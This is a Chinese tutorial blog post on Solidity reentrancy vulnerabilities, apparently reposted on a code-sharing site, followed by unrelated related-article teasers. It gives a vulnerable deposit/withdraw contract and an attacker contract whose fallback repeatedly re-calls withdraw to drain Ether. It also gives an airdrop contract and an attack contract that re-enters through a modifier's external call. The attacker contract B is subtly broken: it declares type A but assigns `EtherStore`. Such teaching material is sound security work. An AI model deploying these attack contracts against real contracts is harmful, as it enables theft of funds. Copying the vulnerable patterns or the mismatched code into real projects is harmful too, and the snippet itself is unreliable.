solidity 重入漏洞

news2024/11/26 1:45:00

目录

1. 重入漏洞的原理

2.  重入漏洞的场景

2.1 msg.sender.call 转账

2.2 修饰器中调用地址可控的函数


1. 重入漏洞的原理

重入漏洞产生的条件:

  • 合约之间可以进行相互间的外部调用

 恶意合约 B 调用了合约 A 中的 public funcA 函数,在函数 funcA 的代码中,又调用了别的合约的函数 funcB,并且该合约地址可控。当恶意合约 B 实现了 funcB,并且 funcB 的代码中又调用了合约 A 的 funcA,就会导致一个循环调用,即 step 2 => step 3 => step 2 => step 3 => ....... 直到 合约 gas 耗尽或其他强制结束事件发生。

2.  重入漏洞的场景

2.1 msg.sender.call 转账

msg.sender.call 转账场景下重入漏洞产生的条件:

  • 合约之间可以进行相互间的外部调用
  • 使用 call 函数发送 ether,且不设置 gas
  • 记录款项数目的状态变量,值变化发生在转账之后

恶意合约 B 调用了合约 A 的退款函数;合约 A 的退款函数通过 call 函数给合约 B 进行转账,且没有设置 gas,合约 B 的 fallback 函数自动执行,被用来接收转账;合约 B 的 fallback 函数中又调用了合约 A

合约 A

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract A {
    mapping(address => uint) public balances;

    function deposit() public payable { 
       balances[msg.sender] += msg.value;
    }
    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);
        // 调用 call 函数将款项转到 msg.sender 的账户
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
        // 账户余额清零
        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

恶意合约 B:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract B {
    A public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when A sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

2.2 修饰器中调用地址可控的函数

代码地址:https://github.com/serial-coder/solidity-security-by-example/tree/main/03_reentrancy_via_modifier

 漏洞合约代码:

pragma solidity 0.8.13;

import "./Dependencies.sol";

contract InsecureAirdrop {
    mapping (address => uint256) private userBalances;
    mapping (address => bool) private receivedAirdrops;

    uint256 public immutable airdropAmount;

    constructor(uint256 _airdropAmount) {
        airdropAmount = _airdropAmount;
    }

    function receiveAirdrop() external neverReceiveAirdrop canReceiveAirdrop {
        // Mint Airdrop
        userBalances[msg.sender] += airdropAmount;
        receivedAirdrops[msg.sender] = true;
    }

    modifier neverReceiveAirdrop {
        require(!receivedAirdrops[msg.sender], "You already received an Airdrop");
        _;
    }

    // In this example, the _isContract() function is used for checking 
    // an airdrop compatibility only, not checking for any security aspects
    function _isContract(address _account) internal view returns (bool) {
        // It is unsafe to assume that an address for which this function returns 
        // false is an externally-owned account (EOA) and not a contract
        uint256 size;
        assembly {
            // There is a contract size check bypass issue
            // But, it is not the scope of this example though
            size := extcodesize(_account)
        }
        return size > 0;
    }

    modifier canReceiveAirdrop() {
        // If the caller is a smart contract, check if it can receive an airdrop
        if (_isContract(msg.sender)) {
            // In this example, the _isContract() function is used for checking 
            // an airdrop compatibility only, not checking for any security aspects
            require(
                IAirdropReceiver(msg.sender).canReceiveAirdrop(), 
                "Receiver cannot receive an airdrop"
            );
        }
        _;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }

    function hasReceivedAirdrop(address _user) external view returns (bool) {
        return receivedAirdrops[_user];
    }
}

攻击合约代码:

pragma solidity 0.8.13;

import "./Dependencies.sol";

interface IAirdrop {
    function receiveAirdrop() external;
    function getUserBalance(address _user) external view returns (uint256);
}

contract Attack is IAirdropReceiver {
    IAirdrop public immutable airdrop;

    uint256 public xTimes;
    uint256 public xCount;

    constructor(IAirdrop _airdrop) {
        airdrop = _airdrop;
    }

    function canReceiveAirdrop() external override returns (bool) {
        if (xCount < xTimes) {
            xCount++;
            airdrop.receiveAirdrop();
        }
        return true;
    }

    function attack(uint256 _xTimes) external {
        xTimes = _xTimes;
        xCount = 1;

        airdrop.receiveAirdrop();
    }

    function getBalance() external view returns (uint256) {
        return airdrop.getUserBalance(address(this));
    }
}

漏洞合约为一个空投合约,限制每个账户只能领一次空投。

攻击过程:

  1. 部署攻击合约 Attacker 后,执行函数 attack,attack 函数调用漏洞合约的 receiveAirdrop 函数接收空投;
  2. 漏洞合约的 receiveAirdrop 函数执行修饰器 neverReceiveAirdrop 和 canReceiveAirdrop 中的代码,而 canReceiveAirdrop 中调用了地址可控的函数 canReceiveAirdrop(),此时 msg.sender 为攻击合约地址;
  3. 攻击合约自己实现了 canReceiveAirdrop() 函数,并且函数代码中再次调用了 receiveAirdrop 函数接收空投

于是就导致了 漏洞合约 canReceiveAirdrop 修饰器 和 攻击合约canReceiveAirdrop() 函数之间循环的调用。

修复重入漏洞

1.避免使用call方法转账

2.确保所有状态变量的逻辑都发生在转账之前

3.引入互斥锁

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1325408.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

从安全性角度,看“可信数字底座”有何价值

文章目录 每日一句正能量前言概念对比安全技术对比思考与建议 每日一句正能量 不管现在有多么艰辛&#xff0c;我们也要做个生活的舞者。 前言 万向区块链此前提出“可信数字底座”这一概念和技术&#xff0c;即将区块链与物联网、人工智能、隐私计算等数字化技术相融合&#…

3-10岁孩子语文能力培养里程碑

文章目录 基础能力3岁4岁5岁6-7岁&#xff08;1-2年级&#xff09;8-9岁&#xff08;3-4年级&#xff09;10岁&#xff08;5年级&#xff09; 阅读推荐&父母执行3岁4-5岁6-7岁&#xff08;1-2年级&#xff09;8-9岁&#xff08;3-4年级&#xff09;10岁&#xff08;5年级&a…

java --- 反射

目录 一、什么是反射&#xff1f; 二、获取 Class对象 的三种方式 三、反射获取构造方法&#xff08;Constructor&#xff09; 四、反射获取成员变量&#xff08;Field&#xff09; 五、反射获取成员方法&#xff08;Method&#xff09; 一、什么是反射&#xff1f; 反射允…

map|动态规划|单调栈|LeetCode975:奇偶跳

作者推荐 【贪心算法】【中位贪心】.执行操作使频率分数最大 涉及知识点 单调栈 动态规划 map 题目 给定一个整数数组 A&#xff0c;你可以从某一起始索引出发&#xff0c;跳跃一定次数。在你跳跃的过程中&#xff0c;第 1、3、5… 次跳跃称为奇数跳跃&#xff0c;而第 2、…

关于Python里xlwings库对Excel表格的操作(十五)

这篇小笔记主要记录如何【获取单元格数据的对齐方式或更改单元格数据的对齐方式】。 前面的小笔记已整理成目录&#xff0c;可点链接去目录寻找所需更方便。 【目录部分内容如下】【点击此处可进入目录】 &#xff08;1&#xff09;如何安装导入xlwings库&#xff1b; &#xf…

【模式识别】解锁降维奥秘:深度剖析PCA人脸识别技术

​&#x1f308;个人主页&#xff1a;Sarapines Programmer&#x1f525; 系列专栏&#xff1a;《模式之谜 | 数据奇迹解码》⏰诗赋清音&#xff1a;云生高巅梦远游&#xff0c; 星光点缀碧海愁。 山川深邃情难晤&#xff0c; 剑气凌云志自修。 目录 &#x1f30c;1 初识模式识…

二维码智慧门牌管理系统:实现数据通信安全

文章目录 前言一、传输隧道加密技术二、传输数据加密技术三、数据接入鉴权技术 前言 随着信息技术的蓬勃发展&#xff0c;智慧门牌管理系统已成为现代商业和家庭重要的一部分。然而&#xff0c;系统普及的同时也带来了数据通信安全的突出问题。为了解决这一挑战&#xff0c;二…

【设计模式-2.5】创建型——建造者模式

说明&#xff1a;本文介绍设计模式中&#xff0c;创建型设计模式中的最后一个&#xff0c;建造者模式&#xff1b; 入学报道 创建型模式&#xff0c;关注于对象的创建&#xff0c;建造者模式也不例外。假设现在有一个场景&#xff0c;高校开学&#xff0c;学生、教师、职工都…

【新版HI3559AV100开发注意事项(二)】

#新版HI3559AV100开发注意事项&#xff08;二&#xff09; 十一、请问海思HI3559AV100 SPC030资料里面的HI3559ADMEB_VER_C_PCB.pcb是用什么软件打开啊&#xff1f; 答&#xff1a;PADS VX 2.2 Altium designer 十二、hi3559级联问题请教 在SDK的文档中只看到了两块Hi3559板…

ARM GIC(一) cortex-A 处理器中断简介

对于ARM的处理器,中断给处理器提供了触觉,使处理器能够感知到外界的变化,从而实时的处理。本系列博文,是以ARM cortex-A系列处理器,来介绍ARM的soc中,中断的处理。 ARM cortex-A系列处理器,提供了4个管脚给soc,实现外界中断的传递。分别是: nIRQ: 物理普通中断 nF…

利用Spark构建房价分析与推荐系统:基于58同城数据的大数据实践

利用Spark构建房价分析与推荐系统&#xff1a;基于58同城数据的大数据实践 基于Spark的房价数据分析预测推荐系统引言技术栈功能概述项目实现1. 数据爬取与处理2. 大数据分析与可视化3. 房价预测模型4. 协同过滤推荐系统5. Web应用开发6. 数据管理与用户管理 总结与展望 基于Sp…

优维科技荣获第二届中国赛宝信息技术应用创新优秀解决方案三等奖

近日&#xff0c;“第二届中国赛宝信息技术应用创新优秀解决方案”评选活动圆满结束。优维科技所提交的《Hyperlnsight超融合持续观测解决方案》、《EasyOps一体化运维平台》从全国近300份申报方案中脱颖而出&#xff0c;荣获2023中国赛宝信息技术应用创新优秀解决方案奖。 本…

Python - 深夜数据结构与算法之 Tree

目录 一.引言 二.树与二叉树简介 1.Tree 树 2.Binary Tree 二叉树 3.Binary Search Tree 二叉搜索树 三.经典算法实战 1.In-Order-Traversal [94] 2.Pre-Order-Traversal [144] 3.Fib [509] 4.N-Tree-Pre-Order-Traversal [589] 5.N-Tree-Post-Order-Traversal [590…

改变传媒格局的新趋势

在如今信息高速发展的时代&#xff0c;人们早已进入了一个以手机为中心的智能化时代。随着科技的迅猛发展&#xff0c;手机无人直播成为了一种新兴的传媒形态&#xff0c;正逐渐改变着传媒格局。本文将从手机无人直播的定义、发展背景和影响等方面进行探讨。 首先&#xff0c;…

浏览器缓存机制(详)

目录 1&#xff0c;缓存的分类1.1&#xff0c;按缓存位置1&#xff0c;Service Worker2&#xff0c;Memory Cache3&#xff0c;Disk Cache4&#xff0c;Push Cache 1.2&#xff0c;按缓存类型强缓存ExpiresCache-control 协商缓存Last-Modified & If-Modified-SinceEtag &a…

【优化】XXLJOB修改为使用虚拟线程

【优化】XXLJOB修改为使用虚拟线程 新建这几个目录 类&#xff0c; 去找项目对应的xxljob的源码 主要是将 new Thread 改为 虚拟线程 Thread.ofVirtual().name("VT").unstarted 以下代码是 xxljob 2.3.0版本 举一反三 去修改对应版本的代码 <!-- 定…

UG螺旋线命令的使用

螺旋线按照螺距类型可以分为两种类型&#xff1a; 1、等螺距螺旋线 2、变螺距螺旋线 等螺距螺旋线 变螺距螺旋线 沿矢量螺旋线 沿矢量螺旋线-线性大小和螺距 沿矢量螺旋线-沿脊线的线性 沿矢量螺旋线-沿脊线的线性 当我们想模拟弹簧被拉伸或压缩状态时&#xff0c;可以使用…

Python-基于fastapi实现SSE流式返回(类似GPT)

最近在做大模型对话相关功能&#xff0c;需要将对话内容流式返回给前端页面&#xff08;类似GPT的效果&#xff09;。下面直接说下如何实现&#xff1a; 1.首先导入fastapi和sse流式返回所需要的包 from fastapi import APIRouter, Response, status from sse_starlette.sse …

智能化运输与航空航天:发展历程、问题与未来趋势

导言 智能化运输与航空航天是当前科技领域的研究热点之一&#xff0c;本文将深入研究这一领域的发展历程、遇到的问题、解决过程&#xff0c;以及未来的可用范围。同时&#xff0c;我们将探讨各国在这一领域的应用情况和未来的研究趋势&#xff0c;分析在哪些方面能够取胜&…

Java操作Word修订功能:启用、接受、拒绝、获取修订

Word的修订功能是一种在文档中进行编辑和审阅的功能。它允许多个用户对同一文档进行修改并跟踪这些修改&#xff0c;以便进行审查和接受或拒绝修改。修订功能通常用于团队合作、专业编辑和文件审查等场景。 本文将从以下几个方面介绍如何使用免费工具Free Spire.Doc for Java在…